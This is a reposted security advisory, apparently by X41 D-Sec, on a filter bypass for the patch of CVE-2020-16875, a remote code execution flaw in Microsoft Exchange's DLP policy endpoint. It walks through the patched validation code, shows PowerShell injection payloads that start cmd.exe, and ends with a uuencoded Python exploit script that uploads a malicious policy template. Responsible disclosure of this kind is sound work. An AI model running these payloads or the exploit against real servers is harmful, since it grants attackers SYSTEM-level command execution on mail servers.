CVE-2020-16875 Exchange 命令执行漏洞

admin 2021年4月24日22:03:42评论31 views字数 12256阅读40分51秒阅读模式


https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/


|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=||=-------------*[ CVE-2020-16875 Protection/Filter Bypass ]*-------------=||=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=||=-----------------------------*[ @x41sec ]*-----------------------------=||=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|                                                                                      *             ,                       _/^_                      <     >     *                 /.-.         *              *        `/&`                   *                      ,@.*;@,                     /_o.I %_    *        *           (`'--:o(_@;                   /`;--.,__ `')             *                  ;@`o % O,*`'`&            *    (`'--)_@ ;o %'()      *                 /`;--._`''--._O'@;                /&*,()~o`;-.,_ `""`)     *          /`,@ ;+& () o*`;-';               (`""--.,_0 +% @' &()               /-.,_    ``''--....-'`)  *          *    /@%;o`:;'--,.__   __.'              ;*,&(); @ % &^;~`"`o;@();         *              /(); o^~; & ().o@*&`;&%O        jgs   `"="==""==,,,.,="=="==="`           __.----.(-''#####---...___...-----._         '`         )_`"""""`                 .--' ')               o(  )_-                 `"""` `

0) Table of contents
1 - Introduction and Impact2 - Patch Analysis3 - Filter Bypass 3.1 - Bypass Check #1 3.2 - Bypass Check #2 3.3 - Bypass Check #34 - PoC5 - Solution Advice6 - Timeline7 - Credits8 - PoC
1) Introduction
In September 2020 a patch was issued for CVE-2020-16875 affecting MicrosoftExchange 2016 and 2019. The vulnerability enables RCE via cmdlets supplied bythe /ecp/DLPPolicy HTTPS endpoint of an Exchange server.
The original vulnerability and research was reported by Steven Seeleyof Source Incite (@steventseeley) and is available here:
https://srcincite.io/advisories/src-2020-0019/ (Advisory)https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC)
Steven found the bypass described in this writeup as well andhe will publish his own blog post also describing the originalvulnerability and potentially more.
A patch has been issued introducing filtering of cmdlets:
https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016
As part of automated patch analysis efforts, the team at X41 analyzedthe patch and was able to bypass the filter with a modified payload.This allows the injection of cmdlets into a remote Exchange server. A valid useraccount with permissions to administrate the DLP policies is required.
The impact is identical to the previous vulnerability present on unpatchedExchange installations:
CVSS: 8.5Severity (according to MSRC): Critical
2) - Patch Analysis
The patched code that prevents exploitation of CVE-2020-16875looks like this:
internal static void ValidateCmdletParameters(string cmdlet, IEnumerable<KeyValuePair<string, string>> requiredParameters){ if (string.IsNullOrWhiteSpace(cmdlet)) { return; } Collection<PSParseError> collection2; Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2); if (collection2 != null && collection2.Count > 0) { throw new DlpPolicyParsingException( Strings.DlpPolicyNotSupportedCmdlet(cmdlet)); } if (collection != null) { // #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT // RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12") if ((from token in collection where token.Type == PSTokenType.Command select token).ToList<PSToken>().Count > 1) { throw new DlpPolicyParsingException( Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet)); } } bool flag = false; foreach (KeyValuePair<string, string> keyValuePair in requiredParameters) { // #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY if (cmdlet.StartsWith(keyValuePair.Key, StringComparison.InvariantCultureIgnoreCase)) { // #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN // REGEX if (!Regex.IsMatch(cmdlet, keyValuePair.Value, RegexOptions.IgnoreCase)) { throw new DlpPolicyParsingException( Strings.DlpPolicyMissingRequiredParameter(cmdlet, keyValuePair.Value)); } flag = true; } } if (!flag) { throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet( cmdlet)); }}

A validation of the cmdlet is attempted with two main goals:
1. Prevent multiple Powershell Command tokens per cmdlet.2. Only allow whitelisted commands with certain parameters.
Three checks are introduced to filter out exploitation attempts.Unfortunately these checks aren't sufficient.
3.1) Bypass Check #1
Check #1 in the patch above is parsing and tokenizing the cmdlet stringand checks if more than one token of type PSTokenType.Commandis present. This rejects the original payload that relies on havingmore than one command such as for example the following payload:
New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()
Also command tokens inside `$()` statements are prevented, sothe following will NOT work:
new-transportrule -Name $(Diagnostics.Process.Start(....))
However, direct calls to .NET via the square bracket syntax are stillpossible as they are not considered as `Command` tokens by PSParser:
new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))
The above command contains one `Command` token, therefore bypassingcheck #1.
3.2) Bypass Check #2
Check #2 can be easily bypassed because the check is done on theraw cmdlet string and is only using the function `.StartsWith()`to check the beginning of the cmdlet. To bypass we just supplya command string that is contained in the valid keys givenvia requiredParameters:
new-transportruleSOMETHINGELSE....
3.3) Bypass Check #3
Check #3 is applying a regular expression to the cmdlet toensure only valid parameters and values are supplied. Unfortunatelythe regular expression falls short in at least two ways:
1. By default Regex.IsMatch() does not match multiple lines.2. The applied regular expression does not match from begin to end of the cmdlet string, but instead also matches on sub strings.
To bypass the check, the Powershell cmdlet just needs tocontain one of the expected parameters such as for example `DlpPolicy`.
4) PoC
The following payload can bypass all three checks asmentioned above:
<![CDATA[ new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>")) -DlpPolicy "%%DlpPolicyName%%"]]>
5) Solution Advice
A fix has been released[1] in the December Patch Tuesday.It is strongly recommended to create a more strict interface thatcan be accessed via the DLP API in Exchange. The usage of cmdletsis inherently dangerous because of the complexity of the Powershellscripting language. Instead a dedicated function interface thatonly accepts whitelisted individual parameters is recommended.

6) Timeline
2020-09-28 - Patch analysis via the experimental X41 patch analysis pipeline2020-09-30 - Confirmed the patch is ineffective by creating a new PoC2020-10-01 - Report to MSRC2020-12-08 - A new fix was released in the Patch Tuesday as CVE-2020-171322020-12-09 - Bounty rejected since only a proof for on-prem was provided
7) Credits
In Alphabetical Order:
Leonard Rapp - Patch Diffing and AnalysisMarkus Vervier - PoC / ExploitationSteven Seeley - for the original PoC and good discussionsYasar Klawohn - PoC / Bypass
8) PoC
begin 644 CVE-2020-16875-PATCH-BYPASS.pyM(R$O=7-R+V)I;B]E;G8@<'ET:&]N,PT*(B(B#0I4:&ES(%!O0R!I<R!A(&UOM9&EF:65D('9E<G-I;VX@;V8@=&AE($]R:6=I;F%L(%!O0R!O9@T*<W)C:6YCM:71E(&9O<B!#5D4M,C`R,"TQ-C@W-2!A=F%I;&%B;&4@870Z#0H-"FAT='!SM.BO<W)C:6YC:71E+FEO+W!O8W,O8W9E+3(P,C`M,38X-S4N<'DN='AT#0H-M"FAT='!S.BO=W=W+G@T,2UD<V5C+F1E(#(P,C`L($UA<FMU<R!697)V:65RM+"!987-A<B!+;&%W;VAN#0H-"E1H:7,@4&]#(&)Y<&%S<V5S('1H92!P871CM:"!F;W(@0U9%+3(P,C`M,38X-S4Z#0H-"DUI8W)O<V]F="!%>&-H86YG92!3M97)V97(@1&QP571I;',@061D5&5N86YT1&QP4&]L:6-Y(%)E;6]T92!#;V1EM($5X96-U=&EO;B!6=6QN97)A8FEL:71Y#0I0871C:#H@:'1T<',Z+R]P;W)TM86PN;7-R8RYM:6-R;W-O9G0N8V]M+V5N+75S+W-E8W5R:71Y+6=U:61A;F-EM+V%D=FES;W)Y+T-612TR,#(P+3$V.#<U#0H-"G)E<V5A<F-H97)`:6YC:71EM.GXD("XO<&]C+G!Y#0HH*RD@=7-A9V4Z("XO<&]C+G!Y(#QT87)G970^(#QUM<V5R.G!A<W,^#0HH*RD@96<Z("XO<&]C+G!Y(#$Y,BXQ-C@N-S4N,30R(&AAM<G)Y;4!E>&-H86YG961E;6N8V]M.G5S97(Q,C,C(R,@;7-P86EN=`T*#0IRM97-E87)C:&5R0&EN8VET93I^)"`N+W!O8RYP>2`Q.3(N,38X+C<U+C$T,B!HM87)R>6U`97AC:&%N9V5D96UO+F-O;3IU<V5R,3(S(R,C(&US<&%I;G0-"B@KM*2!L;V=G960@:6X@87,@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VT-"B@K*2!FM;W5N9"!T:&4@7U]V:65W<W1A=&4Z("]W15!$=U5)3%1G-4U$07I-1$9K6D9!M97E04S<O94)*-&Q03E).4$)J;3A1:5=,5VYI<E$Q=G-';%-Y:E9X834-"B@KM*2!E>&5C=71E9"!M<W!A:6YT(&%S(%-94U1%32$-"@T*0VAA;F=E<SH@82!NM97<@9FEL=&5R('=A<R!I;G1R;V1U8V5D('1H870@<VAO=6QD(&5N<W5R92!TM:&5R92!I<R!N;W0@;6]R90T*=&AA;B!O;F4@8V]M;6%N9"!I;B!T:&4@8VUDM;&5T(&%N9"!T:&%T('1H92!C;VUM86YD(&ES(&9R;VT@82!L:7-T(&]F(&%LM;&]W960@8V]M;6%N9',N#0I5;F9O<G1U;F%T96QY(&%L;"!T:&5S92!C:&5CM:W,@8V%N(&)E(&)Y<&%S<V5D(&1U92!T;R!I;F-O<G)E8W0@87-S=6UP=&EOM;G,-"F%B;W5T('1H92!C;61L970@<&%R<VEN9R!R97-U;'0@86YD('1H92!IM;F-O<G)E8W0@=7-A9V4@;V8@<F5G=6QA<B!E>'!R97-S:6]N<PT*=&@=F%LM:61A=&4@=&AE('!A<F%M=&5R<RX-"@T*1F]R(&1E=&%I;',@<&QE87-E('-EM92!T:&4@86YN;W1A=&5D('!A=&-H(&EN(&9I;&4@0U9%+3(P,C`M,38X-S4MM<&%T8V@N8W,-"F%N9"!T:&4@=W)I=&5U<',@+R!C;VUM96YT<R!I;B!F:6QEM($-612TR,#(P+3$V.#<U+7=R:71E=7`N='AT#0H-"B(B(@T*#0II;7!O<G0@M<F4-"FEM<&]R="!S>7,-"FEM<&]R="!R86YD;VT-"FEM<&]R="!S=')I;F<-M"FEM<&]R="!U<FQL:6(S#0II;7!O<G0@<F5Q=65S=',-"G5R;&QI8C,N9&ESM86)L95]W87)N:6YG<RAU<FQL:6(S+F5X8V5P=&EO;G,N26YS96-U<F5297%UM97-T5V%R;FEN9RD-"@T*9&5F(')A;F1O;5]S=')I;F<H<W1R7VQE;CTX*3H-M"B`@("!L971T97)S(#T@<W1R:6YG+F%S8VEI7VQO=V5R8V%S90T*("`@(')EM='5R;B`G)RYJ;VEN*')A;F1O;2YC:&]I8V4H;&5T=&5R<RD@9F]R(&D@:6X@M<F%N9V4H<W1R7VQE;BDI#0H-"F1E9B!G971?>&UL*&,I.@T*("`@(')E='5RM;B`B(B(/WAM;"!V97)S:6]N/2(Q+C`B(&5N8V]D:6YG/2)55$8M."(_/@T*M/&1L<%!O;&EC>51E;7!L871E<SX-"B`@/&1L<%!O;&EC>51E;7!L871E(&EDM/2)&-T,R.4%%0RU!-3)$+30U,#(M.38W,"TQ-#$T,C1!.#-&04(B(&UO9&4]M(D%U9&ET(B!S=&%T93TB16YA8FQE9"(@=F5R<VEO;CTB,34N,"XR+C`B/@T*M("`@(#QC;VYT96YT5F5R<VEO;CXT/"]C;VYT96YT5F5R<VEO;CX-"B`@("`M<'5B;&ES:&5R3F%M93YS:3PO<'5B;&ES:&5R3F%M93X-"B`@("`;F%M93X-M"B`@("`@(#QL;V-A;&EZ9613=')I;F<@;&%N9STB96XB/CPO;&]C86QI>F5DM4W1R:6YG/@T*("`@(#PO;F%M93X-"B`@("`9&5S8W)I<'1I;VX^#0H@("`@M("`;&]C86QI>F5D4W1R:6YG(&QA;F<](F5N(CX+VQO8V%L:7IE9%-T<FENM9SX-"B`@("`+V1E<V-R:7!T:6]N/@T*("`@(#QK97EW;W)D<SX+VME>7=OM<F1S/@T*("`@(#QR=6QE4&%R86UE=&5R<SX+W)U;&5087)A;65T97)S/@T*M("`@(#QP;VQI8WE#;VUM86YD<SX-"B`@("`@(#QC;VUM86YD0FQO8VL^#0H@M("`@("`@(#PA6T-$051!6R!N97<M=')A;G-P;W)T<G5L92`M3F%M920H6T1IM86=N;W-T:6-S+E!R;V-E<W-=.CIS=&%R="@B8VUD+F5X92`O($,@;7-P86ENM="YE>&4B*2D@+41L<%!O;&EC>2`B)25$;'!0;VQI8WE.86UE)24B(%U=/@T*M("`@("`@/"]C;VUM86YD0FQO8VL^#0H@("`@/"]P;VQI8WE#;VUM86YD<SX-M"B`@("`<&]L:6-Y0V]M;6%N9'-297-O=7)C97,^/"]P;VQI8WE#;VUM86YDM<U)E<V]U<F-E<SX-"B`@/"]D;'!0;VQI8WE496UP;&%T93X-"CPO9&QP4&]LM:6-Y5&5M<&QA=&5S/B(B(@T*#0ID968@=')I9V=E<E]R8V4H="P@<RP@=G,IM.@T*("`@(&8@/2![#0H@("`@("`@("=?7U9)15=35$%412<Z("A.;VYE+"!VM<RDL#0H@("`@("`@("=C=&PP,"1297-U;'1086YE4&QA8V5(;VQD97(D<V5NM9&5R0G1N)SH@*$YO;F4L(")297-U;'1086YE4&QA8V5(;VQD97)?0G5T=&]NM<U!A;F5L7V)T;DYE>'0B*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50M;&%C94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)&YA;64G.B`H3F]N92P@<F%NM9&]M7W-T<FEN9R@I*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50;&%CM94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)'5P;&1#=')L)SH@*")D;'!R8V4NM>&UL(BP@9V5T7WAM;"@I*2P-"B`@("!]#0H@("`@<B`](',N<&]S="@B:'1TM<',Z+RE<R]E8W`O1$Q04&]L:6-Y+TUA;F%G95!O;&EC>49R;VU)4U8N87-PM>"(@)2!T+"!F:6QE<SUF+"!V97)I9GD]1F%L<V4I#0H@("`@87-S97)T('(NM<W1A='5S7V-O9&4@/3T@,C`P+"`B*"TI(&9A:6QE9"!T;R!T<FEG9V5R(')CM92$B#0H-"F1E9B!L96%K7W9I97=S=&%T92AT+"!S*3H-"B`@("!R(#T@<RYGM970H(FAT='!S.BO)7,O96-P+T1,4%!O;&EC>2]-86YA9V50;VQI8WE&<F]MM25-6+F%S<'@B("4@="P@=F5R:69Y/49A;'-E*0T*("`@(&UA=&-H(#T@<F4NM<V5A<F-H*"(:6YP=70@='EP93U<(FAI9&1E;EPB(&YA;64]7")?7U9)15=3M5$%415PB(&ED/5PB7U]624574U1!5$5<(B!V86QU93U<(B@N*BE<(B`O/B(LM('(N=&5X="D-"B`@("!A<W-E<G0@;6%T8V@@(3T@3F]N92P@(B@M*2!C;W5LM9&XG="!L96%K('1H92!?7W9I97=S=&%T92$B#0H@("`@<F5T=7)N(&UA=&-HM+F=R;W5P*#$I#0H@("`@#0ID968@;&]G7VEN*'0L('5S<BP@<'=D*3H-"B`@M("!S(#T@<F5Q=65S=',N4V5S<VEO;B@I#0H@("`@9"`]('L-"B`@("`@("`@M(F1E<W1I;F%T:6]N(B`Z(")H='1P<SHO+R5S+V]W82(@)2!T+`T*("`@("`@M("`B9FQA9W,B(#H@(B(L#0H@("`@("`@(")U<V5R;F%M92(@.B!U<W(L#0H@M("`@("`@(")P87-S=V]R9"(@.B!P=V0-"B`@("!]#0H@("`@<RYP;W-T*")HM='1P<SHO+R5S+V]W82]A=71H+F]W82(@)2!T+"!D871A/60L('9E<FEF>3U&M86QS92D-"B`@("!A<W-E<G0@<RYC;V]K:65S+F=E="AN86UE/2=8+4]702U#M04Y!4EDG*2`A/2!.;VYE+"`B*"TI(&-O=6QD;B=T(&QE86L@=&AE(&-S<F8@M8V%N87)Y(2(-"B`@("!R971U<FX@<PT*#0ID968@;6%I;BAT+"!U<W(L('!WM9"DZ#0H@("`@<R`](&QO9U]I;BAT+"!U<W(L('!W9"D-"B`@("!P<FEN="@BM*"LI(&QO9V=E9"!I;B!A<R`E<R(@)2!U<W(I#0H@("`@=G,@/2!L96%K7W9IM97=S=&%T92AT+"!S*0T*("`@('!R:6YT*"(H*RD@9F]U;F0@=&AE(%]?=FEEM=W-T871E.B`E<R(@)2!V<RD-"B`@("!T<FEG9V5R7W)C92AT+"!S+"!V<RD-M"B`@("!P<FEN="@B*"LI(&5X96-U=&5D(&-A;&,N97AE(&%S($%D;6EN:7-TM<F%T;W(@*'9I82!365-414TI(2(I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUAM:6Y?7R<Z#0H@("`@:68@;&5N*'-Y<RYA<F=V*2`A/2`T.@T*("`@("`@("!PM<FEN="@B*"LI('5S86=E.B`E<R`=&%R9V5T/B`=7-E<CIP87-S/B(@)2!SM>7,N87)G=ELP72D-"B`@("`@("`@<')I;G0H(B@K*2!E9SH@)7,@,3DR+C$VM."XW-2XQ-#(@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VTZ=7-E<C$R,R,C(R!MM<W!A:6YT(B`E('-Y<RYA<F=V6S!=*0T*("`@("`@("!S>7,N97AI="@M,2D-M"B`@("!T<F=T(#T@<WES+F%R9W9;,5T-"B`@("!A<W-E<G0@(CHB(&EN('-YM<RYA<F=V6S)=+"`B*"TI('EO=2!N965D(&$@=7-E<B!A;F0@<&%S<W=O<F0AM(@T*("`@('5S<B`]('-Y<RYA<F=V6S)=+G-P;&ET*"(Z(BE;,%T-"B`@("!PM=V0@/2!S>7,N87)G=ELR72YS<&QI="@B.B(I6S%=#0H@("`@;6%I;BAT<F=T-+"!U<W(L('!W9"D-"@```end


本文始发于微信公众号(Khan安全团队):CVE-2020-16875 Exchange 命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日22:03:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-16875 Exchange 命令执行漏洞https://cn-sec.com/archives/216230.html

发表评论

匿名网友 填写信息